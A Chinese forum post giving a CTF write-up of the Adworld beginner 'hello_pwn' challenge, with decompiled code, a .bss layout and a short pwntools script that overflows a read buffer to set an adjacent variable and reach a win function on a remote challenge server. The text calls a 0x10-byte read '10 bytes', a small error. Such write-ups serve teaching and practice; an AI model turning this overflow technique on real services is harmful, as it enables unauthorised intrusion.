首页
论坛
课程
招聘
[原创]攻防世界PWN新手区:hello_pwn
2022-4-4 12:42 3965

[原创]攻防世界PWN新手区:hello_pwn

2022-4-4 12:42
3965

题目描述:pwn!,segment fault!菜鸡陷入了深思

一、基础信息探查:

常规的file和check

 


然后运行一下,查看大概流程:

二、逆向分析:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}

read函数接受10个字节的字符,存入地址601068处,然后判断60106C处的地址是否为1853186401,跟踪过去601068地址

1
2
3
4
5
6
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069                 db    ? ;
.bss:000000000060106A                 db    ? ;
.bss:000000000060106B                 db    ? ;
.bss:000000000060106C dword_60106C    dd ?                    ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss            ends

位于bss段,可以看到read函数接受的地址和后面判断的地址(dword_60106C)在一坨,所以我们这里可以在read接收值时覆盖掉后面的空间就行。

三、shellcode编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
context(os='linux',arch='amd64',log_level="debug")
content = 0
 
def main():
    if content == 1:
        io = process("hello")
    else:
        io = remote("111.200.241.244",49931)      #建立连接
 
    payload = b'A' * (0x6c-0x68) + p64(1853186401)
 
    io.recvuntil("lets get helloworld for bof\n")
    io.sendline(payload)
 
    io.interactive()
 
if __name__ == '__main__':
    main()


恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

最后于 2022-4-4 12:45 被宇宙大魔王编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回